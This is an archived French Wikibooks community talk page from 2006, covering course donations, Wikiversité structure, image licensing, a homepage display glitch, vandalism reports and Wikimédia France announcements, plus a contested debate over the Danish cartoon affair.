crédible. == Enseignants offrez vos ressources ! == ''Déplacé depuis [[Wikiversité:Département informatique]] par anonymes'' : Si vous êtes l'auteur d'un cours quelque soit son format (ppt, ps, word, pdf, ...) et si vous souhaitez l'offrir à wikipédia et donc perdre toute propriété intellectuelle sur ce cours, n'hésitez pas à laisser un mot ici et nous étudierons la possibilité de les wikifier. Bonjour, Dans le cadre des ateliers d'informatique que nous proposons dans notre Cyber Espace, nous proposons des supports pédagogiques, 1 feuille A4 recto-verso, avec introduction, plan et petits exercices. Le niveau est basique vu le public néophyte auquel il s'adresse. Si ça peut rentrer dans vos rubriques, faites-le moi savoir (i.hoberg@idj.be) et je vous en enverrai un exemplaire. Bien à vous, Isabelle Hoberg Responsable du Cyber Espace ____ IDJ asbl rue au Bois 11 1150 Bruxelles omg i am speechless *.* ==Débaucher des Wikipédiens== Que pensez-vous de créer un bout de texte, dans la même veine du [[modèle:bienvenue]] afin d'être placé dans les pages de discussion de Wikipédiens, Wikiquotiens, etc ? Par exemple : --------- <nowiki>==Spam odieux pour d'autres projets wikimedia : wikilivres et la wikiversité== Je me permet de spammer ta page pour te parler de [[b:accueil|Wikilivres]] qui est un ensemble de textes pédagogiques au contenu libre et gratuit, les wikilivres et la (encore) petite [[b:Wikiversité|Wikiversité]] qui regroupe des cours et à terme des [[cursus]], Wikijunior ...</nowiki> --------- [[Utilisateur:Greudin|Greudin]] :Je trouve l'idée très bonne. En plus si ce sont des projets de la fondation, il n'y aura pas de raison de nous accuser de publicité ! :Dommage, j'aurai bien exploité l'idée pour d'autres sites :) --[[Utilisateur:Boly38|Boly]] [[Discussion_Utilisateur:Boly38|♪]] 17 janvier 2006 à 15:01 (UTC) ::Je suis complètement nouveau sur wikilivres, mais je trouve que ce projet part d'une très bonne idée et qu'il pourrait motiver pas mal de gens parmi les membres de wikipédia. Je ne sais pas si vous êtes allé au bout de votre idée, j'ai moi-même cherché des idées pour intéresser des gens de wikipédia au wiktionnaire. J'ai rajouté pas mal de liens pointant vers des pages du wiktionnaire, genre il existe un article qui présente le mot dont vous parler sur cette page. C'est de la publicité qui va dans le bon sens, cela enrichit l'encyclopédie et donne de la visibilité au wiktionnaire. Plus les gens passent, plus les gens ont des chances de laisser des bonnes idées. ::Sur le wiktionnaire, nous sommes en train de mettre en place des [[wikt:Wiktionnaire:Portails]] afin de donner une accessibilité plus grande au wiktionnaire, je ne connais pas encore assez bien wikilivres, mais j'imagine qu'il est possible de mettre des liens vers le wikilivres dans le wiktionnaire, si vous avez des idées à me donner sur des liens à rajouter, ce sera avec plaisir. [[Utilisateur:Jrcourtois|'''JR''']] <small>[[Discussion_Utilisateur:Jrcourtois|disc]]</small> 10 avril 2006 à 15:45 (UTC) :Bienvenue, le wiktionnaire est une réussite, bravo ! C'est àma plus difficile de lier un wikilivre depuis wikipédia, à moins que le livre soient une référence (ex: [[tribologie]] par JJ Milan) car les critères de wikipédia sont stricts (et c'est tant mieux). Pourquoi rajouter un lien vers une ébauche de wikilivre et être plus "visible" que des sources complètes et pertinentes sur la toile ? Juste parce que c'est aussi un projet wikimédia ? [[Utilisateur:Greudin|Greudin]] 11 avril 2006 à 12:08 (UTC) ::Il y a ébauche et ébauche, je ne dis pas qu'il faut faire des liens vers des pages vides, je pensais plus aux livres qui sont au point sur lesquels vous pouvez faire un effort et placer des liens vers ce livre dans plusieurs entrées de wikipédia. Le but étant principalement de générer un trafic. En plus il s'agit de ''débaucher des wikipédiens'', donc de récupérer des contributeurs, mais ceux-ci sont aussi des lecteurs, et ils surveillent les pages. [[Utilisateur:Jrcourtois|'''JR''']] <small>[[Discussion_Utilisateur:Jrcourtois|disc]]</small> 12 avril 2006 à 07:55 (UTC) == Le livre de l'étude économique, sociologique, temporelle et encyclopédique de la fiction. == Voila le titre du livre que j'aimerais écrire. J'avoue mon besoin de comprendre en menant une longue étude la fiction à travers le temps. Les rouages économiques passé, présent, et futur. Les liens sociologiques aussi. J'ai aussi besoin de liste encyclopédique fiables qui serviront à l'étude de chaque univers de fiction. Expliquer sur qu'elle dynamique existe un univers de fiction. En vérité, je voulais le faire sur wikipédia, mais je suis tombé sur des artistes, qui ne comprennent pas les enjeux économiques dans une société de plus en plus virtuelle. On m'a dit que l'on avait les coudés plus franches que sur Wikipédia qui à une redoutable page de suppression pour tout ce qui concerne la fiction. Suis-je le bienvenue parmi vous ? [[Utilisateur:Samaty|Samaty]] 21 janvier 2006 à 00:55 (UTC) :En fait j'aimerai aussi écrire un livre sur chaque univers de fiction Par exemple Robocop une petite étude de l'univers de fiction, une étude sociologique, une liste des oeuvres, des personnes ayant travaillé dessus, une liste des entreprise ayant travaillé dessus ... :L'architecture de chaque livre univers de fiction serait : :;[[Fiction:Robocop/Description]] ::La description des personnages, et des lieux :;[[Fiction:Robocop/Oeuvres]] ::La liste des oeuvres de l'univers de fiction. ::;Film ::;Série télévisée ::;Jeu vidéo ::;Jouets ::;Musique ::;Jeu de société ::;Flipper :;[[Fiction:Robocop/Etudes]] ::Les différentes études ::;Etude de l'univers de fiction ::;Etude sociologique :::Surtout basé sur les régions de sortie des oeuvres et les générations qui ont été exposé à ces oeuvres ::;Etude économique :::Avec les budget et les résultats annoncé ::;Etude sur la cohésion des oeuvres :::Expliqué la complémentarité des oeuvres et celle qui aurait peu être proposé. :;[[Fiction:Robocop/Activité des fans]] ::Une page sur les activités et oeuvres des fans. :;[[Fiction:Robocop/Personnes]] ::Toutes les personnes qui ont joué un rôle dans l'univers de fiction. :;[[Fiction:Robocop/Groupes]] ::Tous les entreprises, association qui ont joué un rôle dans cette univers de fiction. :;[[Fiction:Robocop/Chronologie]] ::Une simple chronologie de l'univers de fiction. :;[[Fiction:Robocop/Inspiration]] ::Ce qui a inspiré cette univers de fiction. :;[[Fiction:Robocop/Droits et aspect juridique]] ::Tous ce qui se rapporte à la gestion des droits, des marques, les affaires judiciaires. :;[[Fiction:Robocop/Projet]] ::Page pour gérer l'ensemble du livre. :;[[Fiction:Robocop/Liens externes]] ::Lien vers d'autres sites webs. :;[[Fiction:Robocop/Sources d'information]] ::La provenance des informations. [[Utilisateur:Samaty|Samaty]] 21 janvier 2006 à 02:52 (UTC) :Bienvenue. [[Utilisateur:Greudin|Greudin]] 21 janvier 2006 à 06:08 (UTC) ::Greudin, il faut que je te prévienne. Je suis poursuivi par une bande patibulaire qui, quand ils vont me voir rédiger mes livres, vont arrivé ici et mettre tout à feux et à sang. Rien ne sera épargné. Crois-tu avoir assez de poigne pour maintenir un samblant de digniter à ce wiki ? ::[[Utilisateur:Samaty|Samaty]] 21 janvier 2006 à 10:36 (UTC) :::Les travaux de recherche originaux ne sont pas accueillis sur Wikibooks, personne ne peut vérifier ni même surtout y contribuer (car à la discrétion de l'auteur), mais si les parallèles scientifiques (sociologiques, etc) sont ''sourcés'' (biblio, auteurs, citations...), Wikilivres est la bonne place. [[Utilisateur:Greudin|Greudin]] 21 janvier 2006 à 12:28 (UTC) ::::Le projet est beaucoup trop créatif pour être sur wikibooks. ::::J'hésite toujours encore me battre pour faire comprendre ce que est le projet univers de fiction, ou fuir sur wikicitees. ::::En faite, ce que je voudrais d'abord c'est qu'il n'y est pas de malehentendu, et c'est dur avec des personnes qui ne comprennent pas ce que peux être une feuille de style css. Assez décourageant. Et puis ils confondent contenu, contenant, feuille de style, données, pour eux tous cela c'est la même chose. ::::Merci de l'accueil ;). ::::[[Utilisateur:Samaty|Samaty]] 27 janvier 2006 à 01:10 (UTC) :::::Je parlais de la décision de dissolution du projet univers de fiction [[Utilisateur:Samaty|Samaty]] 27 janvier 2006 à 01:12 (UTC) == Transwiki from English == Hello. Do you check [[:en:Wikibooks:Pages to be transwikied#Pages to be transwikied to fr]]? We have some articles to be transwikied here. If you finish, please insert <nowiki>{{delete}}</nowiki> to these pages. Regards, [[:en:User:Derbeth]] == tp chute libre == pourquoi la vitesse instantanée en Ao est-elle nulle ? == Accès depuis un PDA (PocketPC)== :''En effet ce serait un plus de pouvoir créer des ebooks à lire sur pocketpc. Les développeurs y ont sûrement déjà pensé à cette option. [[Utilisateur:Zulul|Zulul]] 25 novembre 2005 à 22:50 (UTC)'' Pour un '''accès depuis un [[w:Assistant personnel|PDA]] (Système d'exploitation : MS Pocket PC)''', il faut accéder par exemple depuis fr.wikipedia.7val.com ([[w:Wikipédia:Accès à Wikipédia avec un téléphone portable et un PDA|src]]) il y a possibilité de basculer sur wikibooks ! en fait je teste je vais sur l'article wikibooks de wikipédia et je suis le lien accueil de wikibooks, ensuite je cherche wikijunior par exemple.. Bon je n'ai pas assez confiance pour me connecter ;) --[[Utilisateur:Boly38|Boly]] [[Discussion_Utilisateur:Boly38|♪]] 25 janvier 2006 à 16:31 (UTC) :Je viens de naviguer un peu sur différents wikilivres et çà rend pas mal du tout !! Par contre c'est dommage, il faut suivre les liens, on ne peut pas rentrer le nom de l'article directement dans la barre d'adresse. Il faut passer par l'[http://fr.wikipedia.7val.com/7val.fit/s_7ca372a778a89b71e4f34f9e2d7d8610/1/2307c23a9938e6a4fc824167f54b2347 accueil] --[[Utilisateur:Boly38|Boly]] [[Discussion_Utilisateur:Boly38|♪]] 25 janvier 2006 à 16:42 (UTC) == Code == Serait-il possible d'ajouter une fonction de colorisation du code ? Cela rendrait les tutoriels de programmation plus clairs. == Atteinte au sacré des musulmans == bonjour tout le monde je suis nouveau et j'espere etre accepté parmi vous, en realite je n'ai pas trouvé meilleur moyen pour exprimer ma tristesse qu' à cause tout un pays à ma croyance que : wikiuniversité je suis partisan des droits de l'homme et je n'aime pas voir soufrir un etre humain, quelque soit son identité, sauf s'il porte atteinte à autrui. j'ai toujours estimé l'occident pour sa democratie et pour son respect de l'autre, aujourdhui cet estime est touché car un pays a mis notre prophete en caricature et ca m'a fait trés mal et à tout musulman et je n'aimerai pas voir un mususlman porter atteinte au sacré des autres. Discuter oui Dialoguer oui mais Insulter non et non et non. j'aime garder un egard aux occidentaux un grand egard et ce n'est pas parceque un d'eux nous a fait mal que nous generalisons nous sommes sages et nous devons tous rester sage. ce pays c'est le Danemark la Danemark etait grand à nos yeux à cause de sa grande democratie aujourdhui il ne l'est plus. j'aurai aime discuter informatique ou tout autre sujet technique qui developpera cette tres belle initiative :wikiuniversite mais il faut avoir un respect mutuel pour faire equipe merci beaucoup de m'avoir lu je souhaite à tout le monde la paix la gloire et la prosperité sam :Bienvenue sur wikibooks en français, Sam, cette affaire au Danemark est malheureuse... Heureusement qu'il reste des thèmes neutres et qui rassemblent comme l'[[informatique]]. Concernant la Wikiuniversité ou [[wikiversité|wikiversité]], il y a maintenant pas mal de nouveautés ... [[Utilisateur:Greudin|Greudin]] :: Désolé Sam, tu es sans doute un type sympa mais, sans vouloir te vexer, je trouve que ces pleurnicheries ne sont vraiment pas à leur place ici. Il faut que tu comprennes une fois pour toutes que sans la liberté de railler il ne peut pas y avoir de démocratie. Que pour beaucoup de gens, dont je suis, il n'y a guère de différence entre croyant et crédule. Que le bourrage de crâne pratiqué par les religions peut être perçu comme un outrage fait à la raison. :: Je t'avoue que j'en ai assez de ces religieux de toutes sortes qui se posent toujours en victimes mais sont en fait animés par la volonté d'imposer leur pensée et leur mode de vie à l'humanité toute entière ; qui se prétendent démocrates alors qu'ils font partie, sans toujours s'en rendre compte, de mouvements à tendance totalitaire. :: Si tu étais le sage que tu voudrais être, alors tu te demanderais pourquoi la carte de l'analphabétisme dans le monde correspond grosso modo à celle des pays où les religions, et particulièrement l'islam, ont, ou ont eu, une influence dominante. Pourquoi les pays où sévit une religion d'Etat sont presque toujours ceux où règnent la dictature, l'oppression, l'obscurantisme, le capitalisme dans ses formes les plus brutales. Et si tu dois t'apitoyer, alors il faut que tu aies une pensée pour les millions d'êtres humains qui sont morts au cours des siècles à cause des religions, ou pour les victimes des esclavagistes arabes qui ont pratiqué la colonisation et la traite des noirs plusieurs siècles avant les Européens ... cela fait du monde ! :: Maintenant, bien sûr, si tu veux te rendre utile ici, ce n'est pas le travail qui manque ... :: Amitiés. [[Utilisateur:Jean-Jacques MILAN|Jean-Jacques MILAN]] 31 janvier 2006 à 02:38 (UTC) Salut, Sam. Ce n'est pas un pays qui a publié ces dessins caricaturaux, c'est un journal ! Et un journal ''conservateur'' qui a trouvé très peu d'appui au Danemark, à part les partis d'extrême droite. Si j'ai bien tout compris, la grande majorité des Danois réprouvent ce qu'a fait ce journal et, en conséquence, pensent que ce n'est pas au Danemark de présenter des excuses, mais au journal ; et que, si ce dernier a bravé la loi, ce sera à la justice de se prononcer. Il ne peut y avoir de démocratie sans liberté d'expression ni justice. [[Utilisateur:Alvaro|Alvaro]] 31 janvier 2006 à 09:02 (UTC) En fait, j'ai suivit un peu cette histoire de caricatures... mais pour la plupart ce n'en sont même pas . D'ailleurs la premiere chose qui m'avait frappé quand je les ai vues c'est : "mais c'est même pas drole !". Pour clore toute ça je vous conseille de lire ici : http://embruns.net/actus-et-opinions/caricatures_manipulations.html . Il y est dit en subtance, qu'un auteur Danois, voulant raconter la vie de mahomet dans un livre pour enfant s'est retrouvé... dans l'incapacité d'engager un dessinateur, aucun ne voulant aborder un sujet aussi délicat (je rappelle qu'on est en plein dans l'affaire Theo Van Gogh). L'auteur a donc fait part cet état de fait à un journal qui a lancé un appel d'offre et demandé à divers illustrateurs si ils pouvaient dessiner le prophète , histoire de voir qui avait le dessus au danemark, de l'intégrisme et de l'auto-censure ou de la liberté d'expression. Bonne lecture [[Utilisateur:Yota|Yota]] 13 mars 2006 à 09:43 (UTC) Je pense qu'il convient peut être de clore ce débat ultra polémique, non pas qu'il soit inintéressant mais il n'est pas l'objet de wikilivre. Wikilivre est destiné à produire des ressources pédagogiques et il ne me semble pas que quelqu'un souhaite écrire un livre neutre sur le sujet. Ce sujet est peut être abordé dans wikinews. Cordialement [[Utilisateur:Merrheim|Merrheim]] 13 mars 2006 à 09:46 (UTC) tout a fait d'accord ^^ [[Utilisateur:Yota|Yota]] 13 mars 2006 à 09:49 (UTC) == Voltaire - Le fanatisme, ou Mahomet le prophète - 1997 == Bonjour, je viens de découvrir que Voltaire avait écrit un bien joli pamphlet contre Mahomet, aussi énergique que ses pamphlets contre les cléricaux qui se revendicaient du christianisme à son époque, dans les deux cas j'en apprécie beaucoup la lecture. Le texte est [http://visualiseur.bnf.fr/CadresFenetre?O=NUMM-89893&M=tdm&Y=Texte disponible sur Gallica], mais n'est pas très lisible. Est-il possible (légalement) de le recopier sur Wikibooks histoire d'en améliorer la mise en page ? Merci de vos renseignements. Jmfayard chez gmail.com :Bonjour et bienvenue, les œuvres du domaine publique sont légalement stockées sur [[wikisource:fr:Wikisource|Wikisource]], le commentaire de l'oeuvre peut faire l'objet d'un wikilivre par contre. [[Utilisateur:Greudin|Greudin]] == Problème d'affichage == Bonjour, Depuis trois jours la page d'accueil s'affiche de façon bizarre sur mes ordinateurs : pour chaque rubrique apparaît une barre et un lien rouge vers le modèle de la rubrique correspondante. Ce problème a-t-il déjà été rencontré par d'autres ? Amitiés.[[Utilisateur:Jean-Jacques MILAN|Jean-Jacques MILAN]] 31 janvier 2006 à 09:35 (UTC) :Sur la page accueil, je n'ai que peu d'information : principalement 6 liens rouges. [[Utilisateur:Merrheim|Merrheim]] 31 janvier 2006 à 09:37 (UTC) ::Pareil j'ai le même soucis, qu'est ce qu'on fait les gars ? [[Utilisateur:Greudin|Greudin]] 31 janvier 2006 à 09:45 (UTC) ::: Est-ce lié à des modèles renommés ?--[[Utilisateur:Gmarzin|Gmarzin]] 31 janvier 2006 à 09:47 (UTC) ::: Quand on clique sur modifier on a le bon document. Par contre sur la page d'accueil c'est rouge !! [[Utilisateur:Merrheim|Merrheim]] 31 janvier 2006 à 09:51 (UTC) ::: J'ai mis l'url de la page d'accueil et j'ai mis à la fin ?action=purge et maintenant chez moi ça marche. J'ai bien fait ? (oups) [[Utilisateur:Merrheim|Merrheim]] 31 janvier 2006 à 09:54 (UTC) ::: ça marche.--[[Utilisateur:Gmarzin|Gmarzin]] 31 janvier 2006 à 09:55 (UTC) Problème apparemment réglé ! [[Utilisateur:Jean-Jacques MILAN|Jean-Jacques MILAN]] 31 janvier 2006 à 10:29 (UTC) Ben ... non, ce n'est plus réglé, ça recommence !!! [[Utilisateur:Jean-Jacques MILAN|Jean-Jacques MILAN]] 31 janvier 2006 à 20:36 (UTC) :C'était très bizarre avant (en prévisualisation c'était correct, mais l'accueil normal fonctionnait pas pour les sous pages...), c'est mieux maintenant ? je ne sais pas pourquoi vous n'avez pas utilisé le modèle [[:Modèle:Sous section]] que j'avais fait pour [[Wikijunior]] et qui est prévu à cet effet .. Peut être n'avais je pas été assez explicite ;) en tout cas j'espère que çà vous convient (j'espère que je n'ai pas fait la modif sur une ancienne version, mais je ne crois pas). :Salutations à tous au passage ;) --[[Utilisateur:Boly38|Boly]] [[Discussion_Utilisateur:Boly38|♪]] 31 janvier 2006 à 22:30 (UTC) == Dialogue == je tiens à remercier Mr Milan et Mr Alvaro de leurs réponses et je précise que je ne suis pas un pleurnichard et je ne les aimes pas non plus . Pour Mr Milan j'ai visité votre page personnelle et je vois que vous etes un homme de travail et non de dire et je vous remercie de votre apport. pour l'histoire de colonialisme on discutera plutard . Pour le travail je suis à votre disposition pour cooperer afin d'aller en avant avec l'humanité. je porte à votre connaissance que je suis handicapé (atteint de la maladie de Parkinson) malgré ma maladie je suis membre actif dans la société civile et je suis au service des gens dans la limité de mes moyens et si je suis ici c'est pour servir. avant de vous quitter j'aimerai bien preciser que ce sont les gens qui utilise la religion pour atteindre des objectifs personnels qui porte atteinte à l'humanité et non la religion. je ne sais pas si vous avez une croyance et quelque soit le cas je vous dois le respet ma religion me l'impose. Amitiés sam == Recueil de poèmes == Bonjour Madame, Monsieur, Dernièrement j'ai publié un recueil de poèmes à compte d,auteur et j'ai participé au salon du livre de Montréal à la fin de l'année dernière. Je voudrais savoir si j'ai la possibilité de le mettre sur votre site wikilivres et comment faut-il faire ? Je vous remercie d'avance pour votre aide et je vous prie d'accepter mes respectueuses salutations. Vous pouvez aller voir le recueil sur www.laplumedoie.com sont titre est «le cycle de la vie» et l'auteur est Jean-Pierre Desbessel. Vous le trouvez aussi sur amazon.ca et sur archambault.ca où il est possible de le commander. Je veux le mettre gratuitement à la disposition de tous. :Bonjour Techniquement il n'y a pas beaucoup de difficulté pour publier vos poèmes sous la forme de wikilivre. Par contre si votre recueil est publié, vous avez certainement concédé à l'éditeur la possibilité légale de le publier et vous perdez certainement le droit de le diffuser sur Internet. Tout document publié sur wikilivre possède automatiquement une licence autorisant sa libre reproduction. A part ces aspect légaux, vous pourrez trouver de l'aide pour diffuser vos oeuvres. :Bienvenue, comme son nom ne l'indique pas Wikilivres n'accueille pas de recueils (cf. [[Blagues]]), mais un livre pédagogique sur la création de poèmes oui. Il existe un wiki vivant pour cela : http://fr.wikipen.org ce sont des amis, j'ai copié cette question sur leur ''bistro'' [http://fr.wikipen.org/wiki/Wikipen:Chez_Georgette Chez Georgette]. [[Utilisateur:Greudin|Greudin]] 4 février 2006 à 11:24 (UTC) ==Licence des images sur wikilivres== Bonjoir <small>(quelle heure est-il chez vous ?),</small> comme vous l'avez peut être vu, [[Utilisateur:Greudin|Greudin]] et moi-même avons importé en partie certaines catégories et modèles correspondants aux licences des images, entre autres : * {{m|licence inconnue}} : ''la licence de l'image n'est pas connue :)'' * {{m|domaine public}} : ''l'auteur a renoncé à ses droits ou le temps a fait effet...'' * {{m|fair use}} : ''l'image n'est pas libre, mais sa diffusion est tolérée sous certaines conditions'' * {{m|GFDL}} : ''la licence [[w:GFDL|GNU Free Documentation License]]'' Il y a du boulot si l'on veut coller aux habitudes éprouvées sur wikipédia concernant la gestion des licences des images. C'est un boulot peut être ingrat (pourquoi peut-être ?), mais probablement utile pour l'avenir (diffusion sur wikilivres, publications papier, etc...) alors si les auteurs d'image(s) sur wikilivres (voire un peu tous le monde) peuvent aider à éclaircir un peu [[:Catégorie:Licence image|les licences]] (lien utile : [[w:Catégorie:Licence image]] sur wikipédia) de [http://fr.wikibooks.org/w/index.php?title=Special%3AAllpages&from=&namespace=6 chaque image] présente sur wikilivres ce serait un bon début :) à défaut mettre <nowiki>{{licence inconnue}}</nowiki>, même si ici la suppression de l'image (indiqué sur le bandeau et la catégorie) ne sera pas aussi immédiate... Il faut le temps de mettre ''la machine'' en marche. Il y a aussi [http://commons.wikimedia.org/ commons] pour proposer une image (si une des licences proposées lors d'un upload vous convient). PS: je suis pas super calé au sujet des licences :) --[[Utilisateur:Boly38|Boly]] [[Discussion_Utilisateur:Boly38|♪]] 7 février 2006 à 00:36 (UTC) Rappel des bonnes pratiques concernant les images : *images libres avec licence autorisant la revente (CC-BY, DP, etc), CC-NC (creative commons non commercial) fortement déconseillée *images en très haute qualité (>= 300 dpi), c'est à dire qualité impression sur papier *schéma, graphiques, diagrammes en format libre (SVG), formats ''compilés'' déconseillés sauf pour photos *Pas d'images vignettes (exemple : 80 px sur 80 px) car le logiciel [[MediaWiki]] retaille automagiquement au mieux *Pas d'upload sur fr.wikibooks mais que sur Commons, sauf cas exceptionnels *Auteur, Source(s), licence dans la description *Eviter les textes en français ou autre langue, pensez à la traduction pour les autres Wikis. *Chercher sur Commons une illustration avant d'uploader C'est un début car il faut rajouter des difficultés suivant le sujet photographié : personnes, mineurs, architectures, etc. [[Utilisateur:Greudin|Greudin]] == LaTeX == Existe-t-il des outils (ou une manip) pour insérer un livre tapé en LaTex dans Wikibooks ? Merci : A ma connaissance non. Du copier-coller avec remplacement des $ ...$ par <nowiki> <math> ....</math> </nowiki>, doit pouvoir résoudre une grande partie des problèmes liées aux formules de maths. Pour le reste il faut revoir la mise en forme. [[Utilisateur:HB|HB]] 9 février 2006 à 12:11 (UTC) :: Je dispose de cours de Terminale S (Chimie, Géographie, Histoire, Mathématiques (tronc commun et spécialité), Philosophie, Physique et SVT) recopiés par mes soins en LaTeX, sans avoir le temps (ou plutôt le courage) de les retranscrire à la main. Est-ce que quelqu'un(e) est interressé(e) ? :: n'oubliez pas que votre enseignant possède la propriété intellectuelle sur les cours qu'il vous a donnés. Impossible de diffuser ses cours sans son accord. [[Utilisateur:Merrheim|Merrheim]] 10 février 2006 à 16:24 (UTC) ::: Merci pour ces précisions : je ne pensais plus à ces problèmes de propriété intellectuelle sachant qu'il ne s'agit pas de document que l'enseignant a donné mais de mes prises de notes rédigées. Je laisse mon email pour plus de détails : e-s-b ( at ) infonie pt fr 10 février 2006 à 17:12 (UTC) :::: Même des notes prises en cours ne sont pas diffusables librement. [[Utilisateur:134.214.112.197|134.214.112.197]] 10 février 2006 à 18:17 (UTC) == Cours d'organisation et d'économie sociale == Comme tout nouveau je suis un peu perdu, je souhaite intervenir dans un cours d'organisation et d'économie sociale. Je ne trouve pas la page d'accueil de Wikiversité ni celle de Wikirecherche pour intrégrer le labo traitant d'économie sociale. --Patrick 11 février 2006 :Bienvenue Patrick, la [[Wikiversité]] ne possède pas encore de [[Wikiversité/Économie|fac d'éco]], ni de [[Wikirecherche]] mais les anglophones semblent avoir creusé le projet : [[:en:Wiki Science:Wikiresearch]]. [[Utilisateur:Greudin|Greudin]] 11 février 2006 à 09:37 (UTC) == Wikimédia France : appel à candidatures == Bonjour à tous. L'association [http://www.wikimedia.fr/wiki/Accueil Wikimédia France] tiendra le 25 mars à Paris son assemblée générale, qui doit pourvoir au renouvellement des membres du Conseil d'administration. Pour y participer, il faut être membre actif de l'association, c'est-à-dire à jour de sa cotisation '''2006''', et ce quinze jours au moins avant la tenue de l'AG. Les candidats au CA doivent envoyer à l'équipe actuelle une note d'intention et une présentation avant le 15 mars 2006, de façon à ce que celle-ci soit publiée à l'attention des membres sur le site Wikimedia.fr. Pour mémoire, les statuts de l'association se trouvent [http://wikimedia.fr/wiki/Statuts ici] et le règlement intérieur [http://wikimedia.fr/wiki/R%C3%A8glement_int%C3%A9rieur là]. [http://fr.wikipedia.org/wiki/Utilisateur:Jastrow Jastrow] 18 février 2006 à 13:19 (UTC) == structure de la wikiversité == salut a tous, j'ai ouvert recemment la [[wikiversité:Faculté de Mathématiques]], et je voulais savoir s'il y avait déja une nomenclature et un modele "structurel" de prévu pour l'organisation des faculté. notamment : comment s'inspirer du cycle licence/master... y a t il un programme officiel ? personnellement, pour avoir croise a la fac des gens qui venait d'autres ville, les programmes divergent en general ( et divergent c'est enorme.. pardon :-) salut Desproges... ). ensuite : dois on, pour bien separer la wikiversité de wikilivre, fonctionner uniquement avec des sous repertoires genre wikiversité:Faculté_de_Mathématique/Licence_1/Integration ? ca serait le plus logique, mais ca risque d'etre fastideux. neanmoins, je crois qu'il faudrait se mettre d'accord. bref, partiel fini dans 3 jours, je veux bien commencer à mettre les mains dans le cambouis, mais je ne veux pas partir bille en tête sans savoir ou je vais... [[Utilisateur:Jobert|Jobert]] 19 février 2006 à 22:16 (UTC) :Amha, le mieux est de concevoir la structure sur une page dédiée (relever ce qui a été fait, décider, faire les guides tout çà). En cherchant un peu je n'en vois pas, <small> mais ce soir j'ai pas les yeux en face des trous alors vérifiez</small>. On peut démarrer [[Wikiversité:Wikiversité]], un peu comme [[Wikijunior:Wikijunior]] qui ressemblerai à une paje ''projet'' pour organiser le dit projet :) :Concernant ton intervention, j'y apposerai quelques remarques : :* A mon avis 1 seul niveau devrait suffire (éviter "A/B/C" et privilégier "A/B", "A/C") comme cela a été fait pour le [[Wikiversité:Département informatique|département informatique]] et [[Wikilicence informatique/Wikimodules|les modules de la première wikilicence du département informatique]] par exemple :)). Effectivement, il faut aussi réfléchir par rapport aux espaces de nom : ::* Wikiversité: ::* Wikimodule: ::* Wikidiplôme:? :* S'inspirer d'une licence existante (du monde réel) pourquoi pas, mais ne pas s'y borner strictement amha. Il faut laisser au wiki le concept de structuration dynamique évolutif :je participerai volontier à la structuration, et je vois qu'il y a de plus en plus de monde sur la wikiversité, c'est génial! :au passage, merci à [[Utilisateur:Merrheim]] pour son innovation et son travail ! <s>personne ne le fait remarquer</s> <small>j'y suis allé un peu vite :)</small>, mais moi en tout cas je suis scotché :) :PS: Voir aussi les remarques pertinentes de [[Utilisateur:Greudin|Greudin]] sur [[Discuter:Wikiversité]] (tt en haut) --[[Utilisateur:Boly38|Boly]] [[Discussion_Utilisateur:Boly38|♪]] 19 février 2006 à 22:56 (UTC) ::Je me lance dans la structure de la page d'accueil de la [[Wikiversité]] en [[:Modèle:Sous section|sous sections]] c'est un bon début pour la rendre amha plus lisible :) --Boly ::: Je te relance dans ton projet, je suis bien motivé dans la poursuite de la wikiversité de math ( je suis en licence de math )... J'ai dejà commencé a grossir les cours a proprement parler dans la partie [[Analyse]] ... Le mieux serait de se tenir informé reciproquement des avancées pour pouvoir accelerer les choses non ? matbasili chez gmail.com si tu as besoin de mon mail, sinon la page de discution de la wikiversité de math !! a tres vite j'espere ! [[Utilisateur:Mat B]] 26 mars 2006 à 14:48 (UTC) == Toutes les contributions à Wikipédia sont ... == Serait-il possible à un [[Wikilivres:Administrateur|concierge]] de mettre cette mention dans une classe css, afin que je puisse à l'aide de mon monobook.css la supprimer. :Pas bien saisi la demande, as tu le bout de code css à copier coller dans monobook.css ? [[Utilisateur:Greudin|Greudin]] == Look de la bibliothèque du département informatique== Vous aimez la nouvelle présentation de la [[Département informatique/Bibliothèque|bibliothèque]] ? [[Utilisateur:Merrheim|Merrheim]] 23 février 2006 à 07:50 (UTC) :Bravo, perso ça me plait ;) [[Utilisateur:Greudin|Greudin]] == Avertissement en haut de chaque page == Ça ne donne vraiment pas confiance en votre site. :Le message <small>''Avertissement : le système ouvert de Wikilivres permettant à chacun de modifier les pages, nous ne pouvons garantir la validité permanente du contenu. Veuillez également noter que toutes les modifications sont archivées dans l'historique de la page ainsi que l'adresse internet des contributeurs non inscrits.''</small> n'apparaît que pour les utilisateurs ""anonymes"" (même si techniquement l'adresse ip est visible contrairement à un utilisateur enregistré, sic) et rappelle que l'on doit recouper les informations sur wikilivres avec d'autres sources en ligne ou pas. Mais un bon indice de confiance est de vérifier l'historique de la page, d'identifier les auteurs principaux et de visiter leurs contributions aisni que leur page utilisateur, vous trouverez parfois de grands spécialistes, professionnels ou amateurs éclairés. [[Utilisateur:Greudin|Greudin]] == Vandalisme répété == Bonjour, Évidemment, je m'en rend compte quelques heures avant de partir en voyage… Il y a du vandalisme répété de la part d'un anonyme qui signe Dracula 2 sur la page [[Dictionnaire des parasynonymes en français]]. Il ne supprime rien mais ajoute du contenu non encyclopédique, voir de la lol-langue. Quelqu'un peut-il faire quelque chose ? Je suis disponible pour encore 2-3 heures, après, je ne reviendrais que dans une semaine, la poisse. Merci d'avance de votre aide. Je suis en train de corriger ses conneries (qui malheureusement s'intercalent avec du bon texte). [[Utilisateur:Vrykolaka|Vrykolaka]] 26 février 2006 à 13:24 (UTC) :J'ai mis l'ouvrage (fort intéressant par ailleurs dans son principe) dans ma liste de suivi, et je me réserve la possibilité d'intervenir si nécessaire. Bon vent ! [[Utilisateur:Jean-Jacques MILAN|Jean-Jacques MILAN]] 26 février 2006 à 13:55 (UTC) ::Merci ! [[Utilisateur:Vrykolaka|Vrykolaka]] 1 avril 2006 à 13:23 (UTC) == Wikimédia France : convocation à l'Assemblée générale == L'Assemblée générale de [http://www.wikimedia.fr/wiki/Accueil Wikimédia France] aura lieu le 25 mars de 14 à 18 heures à la Cité des Sciences et de l'Industrie, 30 avenue Corentin Cariou, Paris 19e (M° Corentin Cariou ou Porte de la Villette). Seront traités : * le rapport d'activité 2005 ; * l'approbation des comptes 2005 (quitus au trésorier) ; * l'élection du Conseil d'administration ; * les projets pour 2006. Pour participer, vous devez [http://www.wikimedia.fr/wiki/Devenir_membre être à jour de votre cotisation 2006], et ce 15 jours au moins avant la tenue de l'AG. Les candidats au Conseil d'administration doivent envoyer à l'équipe 